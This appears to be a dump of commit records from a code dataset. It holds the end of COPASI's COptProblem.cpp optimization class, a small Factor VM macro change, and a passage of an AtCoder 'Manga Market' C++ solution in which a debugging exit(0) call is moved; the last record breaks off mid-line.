the objective function.<commit_after>\/* Begin CVS Header\n   $Source: \/Volumes\/Home\/Users\/shoops\/cvs\/copasi_dev\/copasi\/optimization\/COptProblem.cpp,v $\n   $Revision: 1.61 $\n   $Name:  $\n   $Author: shoops $ \n   $Date: 2005\/08\/12 18:54:25 $\n   End CVS Header *\/\n\n\/**\n *  File name: COptProblem.cpp\n *\n *  Programmer: Yongqun He\n *  Contact email: yohe@vt.edu\n *  Purpose: This is the source file of the COptProblem class.\n *           It specifies the optimization problem with its own members and\n *           functions. It's used by COptAlgorithm class and COptimization class\n *\/\n#include <float.h>\n\n#include \"copasi.h\"\n#include \"COptTask.h\"\n#include \"COptProblem.h\"\n#include \"COptItem.h\"\n\n#include \"function\/CFunctionDB.h\"\n\n#include \"CopasiDataModel\/CCopasiDataModel.h\"\n\n#include \"steadystate\/CSteadyStateTask.h\"\n#include \"trajectory\/CTrajectoryTask.h\"\n#include \"steadystate\/CSteadyStateProblem.h\"\n#include \"trajectory\/CTrajectoryProblem.h\"\n\n#include \"model\/CModel.h\"\n#include \"model\/CCompartment.h\"\n\n#include \"report\/CCopasiObjectReference.h\"\n#include \"report\/CKeyFactory.h\"\n\n#include \"utilities\/CProcessReport.h\"\n\n\/\/  Default constructor\nCOptProblem::COptProblem(const CCopasiContainer * pParent):\n    CCopasiProblem(CCopasiTask::optimization, pParent),\n    mpSteadyState(NULL),\n    mpTrajectory(NULL),\n    mpFunction(NULL),\n    mOptItemList()\n{\n  addGroup(\"OptimizationItemList\");\n  addGroup(\"OptimizationConstraintList\");\n\n  addParameter(\"Steady-State\", CCopasiParameter::KEY, (std::string) \"\");\n  addParameter(\"Time-Course\", CCopasiParameter::KEY, (std::string) \"\");\n  addParameter(\"ObjectiveFunction\", CCopasiParameter::KEY, (std::string) \"\");\n  addParameter(\"Maximize\", CCopasiParameter::BOOL, (bool) false);\n\n  initObjects();\n}\n\n\/\/ copy constructor\nCOptProblem::COptProblem(const COptProblem& src,\n                         const CCopasiContainer * pParent):\n    CCopasiProblem(src, pParent),\n    mpSteadyState(src.mpSteadyState),\n    mpTrajectory(src.mpTrajectory),\n    mpFunction(NULL),\n    mOptItemList()\n{\n  if (src.mpFunction)\n    {\n      createObjectiveFunction();\n      mpFunction->setInfix(src.mpFunction->getInfix());\n      setValue(\"ObjectiveFunction\", mpFunction->getKey());\n    }\n\n  initObjects();\n}\n\n\/\/ Destructor\nCOptProblem::~COptProblem()\n{\n  std::vector<COptItem *>::iterator it = mOptItemList.begin();\n  std::vector<COptItem *>::iterator end = mOptItemList.end();\n\n  for (; it != end; ++it)\n    pdelete(*it);\n\n  if (mpFunction && CCopasiDataModel::Global &&\n      CCopasiDataModel::Global->getFunctionList() &&\n      CCopasiDataModel::Global->getFunctionList()->loadedFunctions()[mpFunction->getObjectName()] == mpFunction)\n    CCopasiDataModel::Global->getFunctionList()->loadedFunctions().remove(mpFunction->getObjectName());\n\n  pdelete(mpFunction);\n}\n\nbool COptProblem::setModel(CModel * pModel)\n{\n  mpModel = pModel;\n  return true;\n}\n\nbool COptProblem::setCallBack(CProcessReport * pCallBack)\n{\n  CCopasiProblem::setCallBack(pCallBack);\n\n  if (pCallBack)\n    {\n      mhSolutionValue =\n        mpCallBack->addItem(\"Best Value\",\n                            CCopasiParameter::DOUBLE,\n                            & mSolutionValue);\n      mhCounter =\n        mpCallBack->addItem(\"Simulation Counter\",\n                            CCopasiParameter::UINT,\n                            & mCounter);\n    }\n\n  return true;\n}\n\nvoid COptProblem::initObjects()\n{\n  addObjectReference(\"Simulation Counter\", mCounter, CCopasiObject::ValueInt);\n  addObjectReference(\"Best Value\", mSolutionValue, CCopasiObject::ValueDbl);\n  addVectorReference(\"Best Parameters\", mSolutionVariables, CCopasiObject::ValueDbl);\n}\n\n#ifdef WIN32 \n\/\/ warning C4056: overflow in floating-point constant arithmetic\n\/\/ warning C4756: overflow in constant arithmetic\n# pragma warning (disable: 4056 4756)\n#endif\n\nbool COptProblem::initialize()\n{\n  if (!mpModel) return false;\n  mpModel->compileIfNecessary();\n\n  mpReport = NULL;\n  mCounter = 0;\n  mSolutionValue = DBL_MAX * 2;\n\n  std::vector< CCopasiContainer * > ContainerList;\n  ContainerList.push_back(mpModel);\n\n  COptTask * pTask = dynamic_cast<COptTask *>(getObjectParent());\n  if (pTask)\n    {\n      ContainerList.push_back(pTask);\n      mpReport = &pTask->getReport();\n      if (!mpReport->getStream()) mpReport = NULL;\n    }\n\n  mpSteadyState =\n    dynamic_cast<CSteadyStateTask *>(GlobalKeys.get(* getValue(\"Steady-State\").pKEY));\n  mpTrajectory =\n    dynamic_cast<CTrajectoryTask *>(GlobalKeys.get(* getValue(\"Time-Course\").pKEY));\n\n  if (!mpSteadyState && !mpTrajectory) return false;\n\n  if (mpSteadyState)\n    {\n      mpSteadyState->initialize();\n      ContainerList.push_back(mpSteadyState);\n    }\n  if (mpTrajectory)\n    {\n      mpTrajectory->initialize();\n      ContainerList.push_back(mpTrajectory);\n    }\n\n  buildOptItemListFromParameterGroup();\n\n  unsigned C_INT32 i;\n  unsigned C_INT32 Size = mOptItemList.size();\n\n  mUpdateMethods.resize(Size);\n  mSolutionVariables.resize(Size);\n  mOriginalVariables.resize(Size);\n\n  std::vector< COptItem * >::iterator it = mOptItemList.begin();\n  std::vector< COptItem * >::iterator end = mOptItemList.end();\n\n  for (i = 0; it != end; ++it, i++)\n    {\n      if (!(*it)->compile(ContainerList)) return false;\n      mUpdateMethods[i] = (*it)->getUpdateMethod();\n      mOriginalVariables[i] = *(*it)->getObjectValue();\n    }\n\n  createObjectiveFunction();\n  if (!mpFunction) return false;\n\n  return mpFunction->compile(ContainerList);\n}\n\nbool COptProblem::restore()\n{\n  unsigned C_INT32 i, imax = mOptItemList.size();\n\n  \/\/ set the original paramter values\n  for (i = 0; i < imax; i++)\n    (*mUpdateMethods[i])(mOriginalVariables[i]);\n\n  return true;\n}\n\n#ifdef WIN32\n# pragma warning (default: 4056 4756)\n#endif\n\nbool COptProblem::checkParametricConstraints()\n{\n  std::vector< COptItem * >::const_iterator it = mOptItemList.begin();\n  std::vector< COptItem * >::const_iterator end = mOptItemList.end();\n\n  for (; it != end; ++it)\n    if ((*it)->checkConstraint()) return false;\n\n  return true;\n}\n\nbool COptProblem::checkFunctionalConstraints()\n{\n  return true; \/\/ :TODO:\n}\n\n\/**\n * calculate() decides whether the problem is a steady state problem or a\n * trajectory problem based on whether the pointer to that type of problem\n * is null or not.  It then calls the process() method for that type of \n * problem.  Currently process takes ofstream& as a parameter but it will\n * change so that process() takes no parameters.\n *\/\nbool COptProblem::calculate()\n{\n  mCounter += 1;\n\n  try\n    {\n      if (mpSteadyState != NULL)\n        {\n          \/\/((CSteadyStateProblem *) mpSteadyState->getProblem())->\n          \/\/setInitialState(mpSteadyState->getProblem()->getModel()->getInitialState());\n          mpSteadyState->process();\n        }\n\n      if (mpTrajectory != NULL)\n        {\n          \/\/((CTrajectoryProblem *) mpTrajectory->getProblem())->\n          \/\/setInitialState(mpTrajectory->getProblem()->getModel()->getInitialState());\n          mpTrajectory->process(CCopasiTask::NO_OUTPUT);\n        }\n\n      mCalculateValue = mpFunction->calcValue();\n    }\n\n  catch (...)\n    {\n      mCalculateValue = DBL_MAX;\n    }\n\n  if (mpCallBack) return mpCallBack->progress(mhCounter);\n\n  return true;\n}\n\nconst C_FLOAT64 & COptProblem::getCalculateValue() const\n{return mCalculateValue;}\n\nvoid COptProblem::setSolutionVariables(const CVector< C_FLOAT64 > & variables)\n{mSolutionVariables = variables;}\n\nconst CVector< C_FLOAT64 > & COptProblem::getSolutionVariables() const\n  {return mSolutionVariables;}\n\nbool COptProblem::setSolutionValue(const C_FLOAT64 & value)\n{\n  mSolutionValue = value;\n  if (mpCallBack) return mpCallBack->progress(mhSolutionValue);\n\n  return true;\n}\n\nconst C_FLOAT64 & COptProblem::getSolutionValue() const\n{return mSolutionValue;}\n\n\/\/ set the type of problem : Steady State OR Trajectory\nvoid COptProblem::setProblemType(ProblemType type)\n{\n  \/\/ :TODO:\n  if (type == SteadyState)\n    mpSteadyState = new CSteadyStateTask(\/*this*\/NULL);\n  if (type == Trajectory)\n    mpTrajectory = new CTrajectoryTask(\/*this*\/NULL);\n}\n\nCOptItem & COptProblem::getOptItem(const unsigned C_INT32 & index)\n{\n  if (mOptItemList.size() != getOptItemSize())\n    buildOptItemListFromParameterGroup();\n\n  assert(index < mOptItemList.size());\n\n  return *mOptItemList[index];\n}\n\nconst unsigned C_INT32 COptProblem::getOptItemSize() const\n{return getValue(\"OptimizationItemList\").pGROUP->size();}\n\nCOptItem & COptProblem::addOptItem(const CCopasiObjectName & objectCN)\n{\n  if (mOptItemList.size() != getOptItemSize())\n    buildOptItemListFromParameterGroup();\n\n  unsigned C_INT32 index = getOptItemSize();\n\n  CCopasiParameterGroup * pOptimizationItemList = (CCopasiParameterGroup *) getParameter(\"OptimizationItemList\");\n\n  pOptimizationItemList->addGroup(\"OptimizationItem\");\n\n  CCopasiParameterGroup * pOptItem =\n    (CCopasiParameterGroup *) pOptimizationItemList->getParameter(index);\n\n  assert(pOptItem != NULL);\n\n  COptItem * pTmp = new COptItem(*pOptItem);\n\n  \/\/pTmp->setLowerBound(\n\n  if (!pTmp->initialize(objectCN)) fatalError();\n\n  mOptItemList.push_back(pTmp);\n\n  return *pTmp;\n}\n\nbool COptProblem::removeOptItem(const unsigned C_INT32 & index)\n{\n  if (mOptItemList.size() != getOptItemSize())\n    buildOptItemListFromParameterGroup();\n\n  if (!(index < mOptItemList.size())) return false;\n\n  pdelete(mOptItemList[index]);\n  mOptItemList.erase(mOptItemList.begin() + index);\n\n  return ((CCopasiParameterGroup *) getParameter(\"OptimizationItemList\"))->removeParameter(index);\n}\n\nbool COptProblem::swapOptItem(const unsigned C_INT32 & iFrom,\n                              const unsigned C_INT32 & iTo)\n{\n  if (mOptItemList.size() != getOptItemSize())\n    buildOptItemListFromParameterGroup();\n\n  if (!(iFrom < mOptItemList.size()) ||\n      !(iTo < mOptItemList.size()))\n    return false;\n\n  COptItem * pTmp = mOptItemList[iFrom];\n  mOptItemList[iFrom] = mOptItemList[iTo];\n  mOptItemList[iTo] = pTmp;\n\n  return ((CCopasiParameterGroup *) getParameter(\"OptimizationItemList\"))->swap(iFrom, iTo);\n}\n\nconst std::vector< COptItem * > & COptProblem::getOptItemList() const\n  {\n    if (mOptItemList.size() != getOptItemSize())\n      const_cast<COptProblem *>(this)->buildOptItemListFromParameterGroup();\n\n    return mOptItemList;\n  }\n\nconst std::vector< UpdateMethod * > & COptProblem::getCalculateVariableUpdateMethods() const\n{return mUpdateMethods;}\n\nbool COptProblem::setObjectiveFunction(const std::string & infix)\n{\n  if (!mpFunction) createObjectiveFunction();\n\n  return mpFunction->setInfix(infix);\n}\n\nconst std::string COptProblem::getObjectiveFunction()\n{\n  if (!mpFunction) createObjectiveFunction();\n\n  return mpFunction->getInfix();\n}\n\nbool COptProblem::createObjectiveFunction()\n{\n  mpFunction =\n    dynamic_cast<CExpression *>(GlobalKeys.get(* getValue(\"ObjectiveFunction\").pKEY));\n\n  CCopasiVectorN<CEvaluationTree> & FunctionList =\n    CCopasiDataModel::Global->getFunctionList()->loadedFunctions();\n\n  if (!mpFunction)\n    {\n      std::ostringstream Name;\n      Name << \"Objective Function\";\n\n      int i = 0;\n\n      while (FunctionList.getIndex(Name.str()) != C_INVALID_INDEX)\n        {\n          i++;\n          Name.str(\"\");\n          Name << \"Objective Function \" << i;\n        }\n\n      mpFunction = new CExpression(Name.str(), this);\n      FunctionList.add(mpFunction, false);\n\n      setValue(\"ObjectiveFunction\", mpFunction->getKey());\n    }\n  else\n    {\n      mpFunction->setObjectParent(this);\n\n      if (FunctionList.getIndex(mpFunction->getObjectName()) == C_INVALID_INDEX)\n        FunctionList.add(mpFunction, false);\n    }\n\n  return true;\n}\n\nbool COptProblem::buildOptItemListFromParameterGroup()\n{\n  bool success = true;\n\n  std::vector< COptItem * >::iterator it = mOptItemList.begin();\n  std::vector< COptItem * >::iterator end = mOptItemList.end();\n\n  for (; it != end; ++it)\n    pdelete(*it);\n\n  unsigned i, imax = getOptItemSize();\n  mOptItemList.resize(imax);\n\n  std::vector<CCopasiParameter *> & List = *getValue(\"OptimizationItemList\").pGROUP;\n\n  for (i = 0; i < imax; i++)\n    {\n      mOptItemList[i] = new COptItem(* (CCopasiParameterGroup *) List[i]);\n      if (!mOptItemList[i]->isValid()) success = false;\n    }\n\n  return true;\n}\n<|endoftext|>"}
{"text":"<commit_before>namespace factor\n{\n\nextern \"C\" typedef void (*primitive_type)();\nextern const primitive_type primitives[];\n\n#define PRIMITIVE(name) extern \"C\" void primitive_##name()\n\n}\n<commit_msg>added stub PRIMITIVE_GETVM macro<commit_after>namespace factor\n{\n\nextern \"C\" typedef void (*primitive_type)();\nextern const primitive_type primitives[];\n\n#define PRIMITIVE(name) extern \"C\" void primitive_##name()\n#define PRIMITIVE_GETVM() vm->\n}\n<|endoftext|>"}
{"text":"<commit_before>#define DEBUG 1\n\/**\n * File    : D2.cpp\n * Author  : Kazune Takahashi\n * Created : 2020\/3\/9 17:08:58\n * Powered by Visual Studio Code\n *\/\n#include <algorithm>\n#include <bitset>\n#include <cassert>\n#include <cctype>\n#include <chrono>\n#include <cmath>\n#include <complex>\n#include <cstdint>\n#include <cstdio>\n#include <cstdlib>\n#include <functional>\n#include <iomanip>\n#include <iostream>\n#include <map>\n#include <queue>\n#include <random>\n#include <set>\n#include <stack>\n#include <string>\n#include <tuple>\n#include <unordered_map>\n#include <unordered_set>\n#include <vector>\n\/\/ ----- boost -----\n#include <boost\/rational.hpp>\n#include <boost\/multiprecision\/cpp_int.hpp>\n\/\/ ----- using directives and manipulations -----\nusing namespace std;\nusing boost::rational;\nusing boost::multiprecision::cpp_int;\nusing ll = long long;\ntemplate <typename T>\nusing max_heap = priority_queue<T>;\ntemplate <typename T>\nusing min_heap = priority_queue<T, vector<T>, greater<T>>;\n\/\/ ----- constexpr for Mint and Combination -----\nconstexpr ll MOD{1000000007LL};\n\/\/ constexpr ll MOD{998244353LL}; \/\/ be careful\nconstexpr ll MAX_SIZE{3000010LL};\n\/\/ constexpr ll MAX_SIZE{30000010LL}; \/\/ if 10^7 is needed\n\/\/ ----- ch_max and ch_min -----\ntemplate <typename T>\nvoid ch_max(T &left, T right)\n{\n  if (left < right)\n  {\n    left = right;\n  }\n}\ntemplate <typename T>\nvoid ch_min(T &left, T right)\n{\n  if (left > right)\n  {\n    left = right;\n  }\n}\n\/\/ ----- Mint -----\ntemplate <ll MOD = MOD>\nclass Mint\n{\npublic:\n  ll x;\n  Mint() : x{0LL} {}\n  Mint(ll x) : x{(x % MOD + MOD) % MOD} {}\n  Mint operator-() const { return x ? MOD - x : 0; }\n  Mint &operator+=(const Mint &a)\n  {\n    if ((x += a.x) >= MOD)\n    {\n      x -= MOD;\n    }\n    return *this;\n  }\n  Mint &operator-=(const Mint &a) { return *this += -a; }\n  Mint &operator++() { return *this += 1; }\n  Mint &operator++(int)\n  {\n    Mint tmp{*this};\n    ++*this;\n    return tmp;\n  }\n  Mint &operator--() { return *this -= 1; }\n  Mint &operator--(int)\n  {\n    Mint tmp{*this};\n    --*this;\n    return tmp;\n  }\n  Mint &operator*=(const Mint &a)\n  {\n    (x *= a.x) %= MOD;\n    return *this;\n  }\n  Mint &operator\/=(const Mint &a)\n  {\n    Mint b{a};\n    return *this *= b.power(MOD - 2);\n  }\n  Mint operator+(const Mint &a) const { return Mint(*this) += a; }\n  Mint operator-(const Mint &a) const { return Mint(*this) -= a; }\n  Mint operator*(const Mint &a) const { return Mint(*this) *= a; }\n  Mint operator\/(const Mint &a) const { return Mint(*this) \/= a; }\n  bool operator<(const Mint &a) const { return x < a.x; }\n  bool operator<=(const Mint &a) const { return x <= a.x; }\n  bool operator>(const Mint &a) const { return x > a.x; }\n  bool operator>=(const Mint &a) const { return x >= a.x; }\n  bool operator==(const Mint &a) const { return x == a.x; }\n  bool operator!=(const Mint &a) const { return !(*this == a); }\n  const Mint power(ll N)\n  {\n    if (N == 0)\n    {\n      return 1;\n    }\n    else if (N % 2 == 1)\n    {\n      return *this * power(N - 1);\n    }\n    else\n    {\n      Mint half = power(N \/ 2);\n      return half * half;\n    }\n  }\n};\ntemplate <ll MOD>\nMint<MOD> operator+(ll lhs, const Mint<MOD> &rhs)\n{\n  return rhs + lhs;\n}\ntemplate <ll MOD>\nMint<MOD> operator-(ll lhs, const Mint<MOD> &rhs)\n{\n  return -rhs + lhs;\n}\ntemplate <ll MOD>\nMint<MOD> operator*(ll lhs, const Mint<MOD> &rhs)\n{\n  return rhs * lhs;\n}\ntemplate <ll MOD>\nMint<MOD> operator\/(ll lhs, const Mint<MOD> &rhs)\n{\n  return Mint<MOD>{lhs} \/ rhs;\n}\ntemplate <ll MOD>\nistream &operator>>(istream &stream, Mint<MOD> &a)\n{\n  return stream >> a.x;\n}\ntemplate <ll MOD>\nostream &operator<<(ostream &stream, const Mint<MOD> &a)\n{\n  return stream << a.x;\n}\n\/\/ ----- Combination -----\ntemplate <ll MOD = MOD, ll MAX_SIZE = MAX_SIZE>\nclass Combination\n{\npublic:\n  vector<Mint<MOD>> inv, fact, factinv;\n  Combination() : inv(MAX_SIZE), fact(MAX_SIZE), factinv(MAX_SIZE)\n  {\n    inv[1] = 1;\n    for (auto i = 2LL; i < MAX_SIZE; i++)\n    {\n      inv[i] = (-inv[MOD % i]) * (MOD \/ i);\n    }\n    fact[0] = factinv[0] = 1;\n    for (auto i = 1LL; i < MAX_SIZE; i++)\n    {\n      fact[i] = Mint<MOD>(i) * fact[i - 1];\n      factinv[i] = inv[i] * factinv[i - 1];\n    }\n  }\n  Mint<MOD> operator()(int n, int k)\n  {\n    if (n >= 0 && k >= 0 && n - k >= 0)\n    {\n      return fact[n] * factinv[k] * factinv[n - k];\n    }\n    return 0;\n  }\n  Mint<MOD> catalan(int x, int y)\n  {\n    return (*this)(x + y, y) - (*this)(x + y, y - 1);\n  }\n};\n\/\/ ----- for C++14 -----\nusing mint = Mint<MOD>;\nusing combination = Combination<MOD, MAX_SIZE>;\ntemplate <typename T>\nT gcd(T x, T y) { return y ? gcd(y, x % y) : x; }\ntemplate <typename T>\nT lcm(T x, T y) { return x \/ gcd(x, y) * y; }\n\/\/ ----- for C++17 -----\ntemplate <typename T>\nint popcount(T x) \/\/ C++20\n{\n  int ans{0};\n  while (x != 0)\n  {\n    ans += x & 1;\n    x >>= 1;\n  }\n  return ans;\n}\n\/\/ ----- frequently used constexpr -----\n\/\/ constexpr double epsilon{1e-10};\nconstexpr ll infty{1000000000000000LL}; \/\/ or\n\/\/ constexpr int infty{1'000'000'010};\n\/\/ constexpr int dx[4] = {1, 0, -1, 0};\n\/\/ constexpr int dy[4] = {0, 1, 0, -1};\n\/\/ ----- Yes() and No() -----\nvoid Yes()\n{\n  cout << \"Yes\" << endl;\n  exit(0);\n}\nvoid No()\n{\n  cout << \"No\" << endl;\n  exit(0);\n}\n\/\/ ----- main() -----\n\nusing shop = tuple<ll, ll>;\n\nostream &operator<<(ostream &os, shop const &s)\n{\n  return os << \"(\" << get<0>(s) << \", \" << get<1>(s) << \")\";\n}\n\nclass Solve\n{\n  static constexpr int C{32};\n  int N, M, L;\n  ll T;\n  vector<shop> V;\n  vector<shop> normal, zero;\n  vector<ll> sum;\n  vector<vector<ll>> dp;\n\npublic:\n  Solve(int N, ll T, vector<shop> V) : N{N}, T{T}, V(V)\n  {\n    make_normal_zero();\n    execute_dp();\n    cout << calc_ans() << endl;\n  }\n\nprivate:\n  static bool compare_normal(shop const &left, shop const &right)\n  {\n    return (get<0>(right) - 1) * get<1>(left) - (get<0>(left) - 1) * get<1>(right) <= 0;\n  }\n\n  static bool compare_zero(shop const &left, shop const &right)\n  {\n    return get<1>(left) <= get<1>(right);\n  }\n\n  ll f(int i, ll x)\n  {\n    return get<0>(normal[i]) * x + get<1>(normal[i]);\n  }\n\n  void make_normal_zero()\n  {\n    for (auto i = 0; i < N; ++i)\n    {\n      if (get<0>(V[i]) >= 2)\n      {\n        normal.push_back(V[i]);\n      }\n      else\n      {\n        zero.push_back(V[i]);\n      }\n    }\n    exit(0);\n    M = normal.size();\n    L = zero.size();\n    sort(normal.begin(), normal.end(), compare_normal);\n    sort(zero.begin(), zero.end(), compare_zero);\n    sum = vector<ll>(L + 1, 0);\n    for (auto i = 0; i < L; ++i)\n    {\n      sum[i + 1] = sum[i] + get<1>(zero[i]);\n    }\n  }\n\n  void execute_dp()\n  {\n    dp = vector<vector<ll>>(M + 1, vector<ll>(C, infty));\n    dp[0][0] = 0;\n    for (auto i = 0; i < M; ++i)\n    {\n      dp[i + 1][0] = dp[i][0];\n      for (auto j = 1; j < C; ++j)\n      {\n        dp[i + 1][j] = min(dp[i][j], f(i, dp[i][j - 1]));\n      }\n    }\n  }\n\n  int calc_ans()\n  {\n    int ans{0};\n    for (auto i = 0; i < C; ++i)\n    {\n      ll remain{T - dp[M][i]};\n      if (remain < 0)\n      {\n        continue;\n      }\n      int z{static_cast<int>(upper_bound(sum.begin(), sum.end(), remain) - sum.begin()) - 1};\n      ch_max(ans, z + i);\n    }\n    return ans;\n  }\n};\n\nint main()\n{\n  int N;\n  ll T;\n  cin >> N >> T;\n  vector<shop> V(N);\n  for (auto i = 0; i < N; ++i)\n  {\n    ll a, b;\n    cin >> a >> b;\n    V[i] = shop(a + 1, a + b + 1);\n  }\n  Solve solve(N, T, V);\n}\n<commit_msg>submit D2.cpp to 'D - Manga Market' (hitachi2020) [C++14 (GCC 5.4.1)]<commit_after>#define DEBUG 1\n\/**\n * File    : D2.cpp\n * Author  : Kazune Takahashi\n * Created : 2020\/3\/9 17:08:58\n * Powered by Visual Studio Code\n *\/\n#include <algorithm>\n#include <bitset>\n#include <cassert>\n#include <cctype>\n#include <chrono>\n#include <cmath>\n#include <complex>\n#include <cstdint>\n#include <cstdio>\n#include <cstdlib>\n#include <functional>\n#include <iomanip>\n#include <iostream>\n#include <map>\n#include <queue>\n#include <random>\n#include <set>\n#include <stack>\n#include <string>\n#include <tuple>\n#include <unordered_map>\n#include <unordered_set>\n#include <vector>\n\/\/ ----- boost -----\n#include <boost\/rational.hpp>\n#include <boost\/multiprecision\/cpp_int.hpp>\n\/\/ ----- using directives and manipulations -----\nusing namespace std;\nusing boost::rational;\nusing boost::multiprecision::cpp_int;\nusing ll = long long;\ntemplate <typename T>\nusing max_heap = priority_queue<T>;\ntemplate <typename T>\nusing min_heap = priority_queue<T, vector<T>, greater<T>>;\n\/\/ ----- constexpr for Mint and Combination -----\nconstexpr ll MOD{1000000007LL};\n\/\/ constexpr ll MOD{998244353LL}; \/\/ be careful\nconstexpr ll MAX_SIZE{3000010LL};\n\/\/ constexpr ll MAX_SIZE{30000010LL}; \/\/ if 10^7 is needed\n\/\/ ----- ch_max and ch_min -----\ntemplate <typename T>\nvoid ch_max(T &left, T right)\n{\n  if (left < right)\n  {\n    left = right;\n  }\n}\ntemplate <typename T>\nvoid ch_min(T &left, T right)\n{\n  if (left > right)\n  {\n    left = right;\n  }\n}\n\/\/ ----- Mint -----\ntemplate <ll MOD = MOD>\nclass Mint\n{\npublic:\n  ll x;\n  Mint() : x{0LL} {}\n  Mint(ll x) : x{(x % MOD + MOD) % MOD} {}\n  Mint operator-() const { return x ? MOD - x : 0; }\n  Mint &operator+=(const Mint &a)\n  {\n    if ((x += a.x) >= MOD)\n    {\n      x -= MOD;\n    }\n    return *this;\n  }\n  Mint &operator-=(const Mint &a) { return *this += -a; }\n  Mint &operator++() { return *this += 1; }\n  Mint &operator++(int)\n  {\n    Mint tmp{*this};\n    ++*this;\n    return tmp;\n  }\n  Mint &operator--() { return *this -= 1; }\n  Mint &operator--(int)\n  {\n    Mint tmp{*this};\n    --*this;\n    return tmp;\n  }\n  Mint &operator*=(const Mint &a)\n  {\n    (x *= a.x) %= MOD;\n    return *this;\n  }\n  Mint &operator\/=(const Mint &a)\n  {\n    Mint b{a};\n    return *this *= b.power(MOD - 2);\n  }\n  Mint operator+(const Mint &a) const { return Mint(*this) += a; }\n  Mint operator-(const Mint &a) const { return Mint(*this) -= a; }\n  Mint operator*(const Mint &a) const { return Mint(*this) *= a; }\n  Mint operator\/(const Mint &a) const { return Mint(*this) \/= a; }\n  bool operator<(const Mint &a) const { return x < a.x; }\n  bool operator<=(const Mint &a) const { return x <= a.x; }\n  bool operator>(const Mint &a) const { return x > a.x; }\n  bool operator>=(const Mint &a) const { return x >= a.x; }\n  bool operator==(const Mint &a) const { return x == a.x; }\n  bool operator!=(const Mint &a) const { return !(*this == a); }\n  const Mint power(ll N)\n  {\n    if (N == 0)\n    {\n      return 1;\n    }\n    else if (N % 2 == 1)\n    {\n      return *this * power(N - 1);\n    }\n    else\n    {\n      Mint half = power(N \/ 2);\n      return half * half;\n    }\n  }\n};\ntemplate <ll MOD>\nMint<MOD> operator+(ll lhs, const Mint<MOD> &rhs)\n{\n  return rhs + lhs;\n}\ntemplate <ll MOD>\nMint<MOD> operator-(ll lhs, const Mint<MOD> &rhs)\n{\n  return -rhs + lhs;\n}\ntemplate <ll MOD>\nMint<MOD> operator*(ll lhs, const Mint<MOD> &rhs)\n{\n  return rhs * lhs;\n}\ntemplate <ll MOD>\nMint<MOD> operator\/(ll lhs, const Mint<MOD> &rhs)\n{\n  return Mint<MOD>{lhs} \/ rhs;\n}\ntemplate <ll MOD>\nistream &operator>>(istream &stream, Mint<MOD> &a)\n{\n  return stream >> a.x;\n}\ntemplate <ll MOD>\nostream &operator<<(ostream &stream, const Mint<MOD> &a)\n{\n  return stream << a.x;\n}\n\/\/ ----- Combination -----\ntemplate <ll MOD = MOD, ll MAX_SIZE = MAX_SIZE>\nclass Combination\n{\npublic:\n  vector<Mint<MOD>> inv, fact, factinv;\n  Combination() : inv(MAX_SIZE), fact(MAX_SIZE), factinv(MAX_SIZE)\n  {\n    inv[1] = 1;\n    for (auto i = 2LL; i < MAX_SIZE; i++)\n    {\n      inv[i] = (-inv[MOD % i]) * (MOD \/ i);\n    }\n    fact[0] = factinv[0] = 1;\n    for (auto i = 1LL; i < MAX_SIZE; i++)\n    {\n      fact[i] = Mint<MOD>(i) * fact[i - 1];\n      factinv[i] = inv[i] * factinv[i - 1];\n    }\n  }\n  Mint<MOD> operator()(int n, int k)\n  {\n    if (n >= 0 && k >= 0 && n - k >= 0)\n    {\n      return fact[n] * factinv[k] * factinv[n - k];\n    }\n    return 0;\n  }\n  Mint<MOD> catalan(int x, int y)\n  {\n    return (*this)(x + y, y) - (*this)(x + y, y - 1);\n  }\n};\n\/\/ ----- for C++14 -----\nusing mint = Mint<MOD>;\nusing combination = Combination<MOD, MAX_SIZE>;\ntemplate <typename T>\nT gcd(T x, T y) { return y ? gcd(y, x % y) : x; }\ntemplate <typename T>\nT lcm(T x, T y) { return x \/ gcd(x, y) * y; }\n\/\/ ----- for C++17 -----\ntemplate <typename T>\nint popcount(T x) \/\/ C++20\n{\n  int ans{0};\n  while (x != 0)\n  {\n    ans += x & 1;\n    x >>= 1;\n  }\n  return ans;\n}\n\/\/ ----- frequently used constexpr -----\n\/\/ constexpr double epsilon{1e-10};\nconstexpr ll infty{1000000000000000LL}; \/\/ or\n\/\/ constexpr int infty{1'000'000'010};\n\/\/ constexpr int dx[4] = {1, 0, -1, 0};\n\/\/ constexpr int dy[4] = {0, 1, 0, -1};\n\/\/ ----- Yes() and No() -----\nvoid Yes()\n{\n  cout << \"Yes\" << endl;\n  exit(0);\n}\nvoid No()\n{\n  cout << \"No\" << endl;\n  exit(0);\n}\n\/\/ ----- main() -----\n\nusing shop = tuple<ll, ll>;\n\nostream &operator<<(ostream &os, shop const &s)\n{\n  return os << \"(\" << get<0>(s) << \", \" << get<1>(s) << \")\";\n}\n\nclass Solve\n{\n  static constexpr int C{32};\n  int N, M, L;\n  ll T;\n  vector<shop> V;\n  vector<shop> normal, zero;\n  vector<ll> sum;\n  vector<vector<ll>> dp;\n\npublic:\n  Solve(int N, ll T, vector<shop> V) : N{N}, T{T}, V(V)\n  {\n    make_normal_zero();\n    execute_dp();\n    cout << calc_ans() << endl;\n  }\n\nprivate:\n  static bool compare_normal(shop const &left, shop const &right)\n  {\n    return (get<0>(right) - 1) * get<1>(left) - (get<0>(left) - 1) * get<1>(right) <= 0;\n  }\n\n  static bool compare_zero(shop const &left, shop const &right)\n  {\n    return get<1>(left) <= get<1>(right);\n  }\n\n  ll f(int i, ll x)\n  {\n    return get<0>(normal[i]) * x + get<1>(normal[i]);\n  }\n\n  void make_normal_zero()\n  {\n    for (auto i = 0; i < N; ++i)\n    {\n      if (get<0>(V[i]) >= 2)\n      {\n        normal.push_back(V[i]);\n      }\n      else\n      {\n        zero.push_back(V[i]);\n      }\n    }\n    M = normal.size();\n    L = zero.size();\n    sort(normal.begin(), normal.end(), compare_normal);\n    sort(zero.begin(), zero.end(), compare_zero);\n    exit(0);\n    sum = vector<ll>(L + 1, 0);\n    for (auto i = 0; i < L; ++i)\n    {\n      sum[i + 1] = sum[i] + get<1>(zero[i]);\n    }\n  }\n\n  void execute_dp()\n  {\n    dp = vector<vector<ll>>(M + 1, vector<ll>(C, infty));\n    dp[0][0] = 0;\n    for (auto i = 0; i < M; ++i)\n    {\n      dp[i + 1][0] = dp[i][0];\n      for (auto j = 1; j < C; ++j)\n      {\n        dp[i + 1][j] = min(dp[i][j], f(i, dp[i][j - 1]));\n      }\n    }\n  }\n\n  int calc_ans()\n  {\n    int ans{0};\n    for (auto i = 0; i < C; ++i)\n    {\n      ll remain{T - dp[M][i]};\n      if (remain < 0)\n      {\n        continue;\n      }\n      int z{static_cast<int>(upper_bound(sum.begin(), 